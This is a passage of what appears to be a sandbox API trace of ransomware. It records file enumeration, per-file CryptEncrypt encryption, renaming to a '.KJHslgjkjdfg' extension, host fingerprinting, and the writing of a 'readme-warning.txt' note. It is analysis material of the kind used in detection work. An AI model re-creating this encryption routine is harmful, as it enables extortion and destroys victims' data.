shared\\themes14\\edge\\edge.elm.kjhslgjkjdfg")) returned 1 [0172.480] CloseHandle (hObject=0x12c) returned 1 [0172.480] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0172.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.481] GetProcessHeap () returned 0x990000 [0172.481] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.481] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.481] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.481] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0172.483] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.483] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.483] GetProcessHeap () returned 0x990000 [0172.483] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.483] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.483] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.483] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.483] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.483] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.483] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.484] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.484] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.484] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.484] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x211, lpOverlapped=0x0) returned 1 [0172.484] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220, dwBufLen=0x220 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x220) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.484] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x220, lpOverlapped=0x0) returned 1 [0172.484] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.485] SetEndOfFile (hFile=0x12c) returned 1 [0172.487] GetProcessHeap () returned 0x990000 [0172.487] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.487] GetProcessHeap () returned 0x990000 [0172.487] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.kjhslgjkjdfg")) returned 1 [0172.495] CloseHandle (hObject=0x12c) returned 1 [0172.495] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.496] GetProcessHeap () returned 0x990000 [0172.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.496] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.496] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.496] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.498] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.498] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.498] GetProcessHeap () returned 0x990000 [0172.498] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.499] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.499] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.499] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.499] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.499] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.499] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.499] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.499] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.499] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.499] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.499] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.500] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x543, lpOverlapped=0x0) returned 1 [0172.500] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x550, dwBufLen=0x550 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x550) returned 1 [0172.500] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.500] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x550, lpOverlapped=0x0) returned 1 [0172.500] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.500] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.500] SetEndOfFile (hFile=0x12c) returned 1 [0172.503] GetProcessHeap () returned 0x990000 [0172.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.503] GetProcessHeap () returned 0x990000 [0172.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.508] CloseHandle (hObject=0x12c) returned 1 [0172.509] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.509] GetProcessHeap () returned 0x990000 [0172.509] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.510] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.510] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.510] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0172.515] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.515] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.515] GetProcessHeap () returned 0x990000 [0172.515] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.515] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.515] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.515] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.515] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.515] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.515] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.516] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.516] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.516] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.516] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.516] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.516] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6722, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6722, lpOverlapped=0x0) returned 1 [0172.517] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6730, dwBufLen=0x6730 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6730) returned 1 [0172.518] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.518] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6730, lpOverlapped=0x0) returned 1 [0172.518] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.518] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.518] SetEndOfFile (hFile=0x12c) returned 1 [0172.521] GetProcessHeap () returned 0x990000 [0172.521] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.521] GetProcessHeap () returned 0x990000 [0172.521] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.527] CloseHandle (hObject=0x12c) returned 1 [0172.532] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.532] GetProcessHeap () returned 0x990000 [0172.532] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.532] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.532] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.532] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.532] GetProcessHeap () returned 0x990000 [0172.532] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.532] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.532] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.532] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.532] GetProcessHeap () returned 0x990000 [0172.532] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.532] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.532] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.533] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.533] GetProcessHeap () returned 0x990000 [0172.533] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.533] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.533] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.533] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.533] GetProcessHeap () returned 0x990000 [0172.533] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.533] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.533] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.533] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.533] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.533] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.533] RegCloseKey (hKey=0x12c) returned 0x0 [0172.533] GetProcessHeap () returned 0x990000 [0172.533] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.534] GetProcessHeap () returned 0x990000 [0172.534] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.534] GetProcessHeap () returned 0x990000 [0172.534] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.534] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.534] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.534] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.534] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.534] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.534] GetProcessHeap () returned 0x990000 [0172.534] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.535] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.535] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.535] GetProcessHeap () returned 0x990000 [0172.535] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.535] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\readme-warning.txt") returned 79 [0172.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.535] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.537] CloseHandle (hObject=0x12c) returned 1 [0172.537] GetProcessHeap () returned 0x990000 [0172.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.537] GetProcessHeap () returned 0x990000 [0172.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.537] GetProcessHeap () returned 0x990000 [0172.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.537] GetProcessHeap () returned 0x990000 [0172.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.538] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 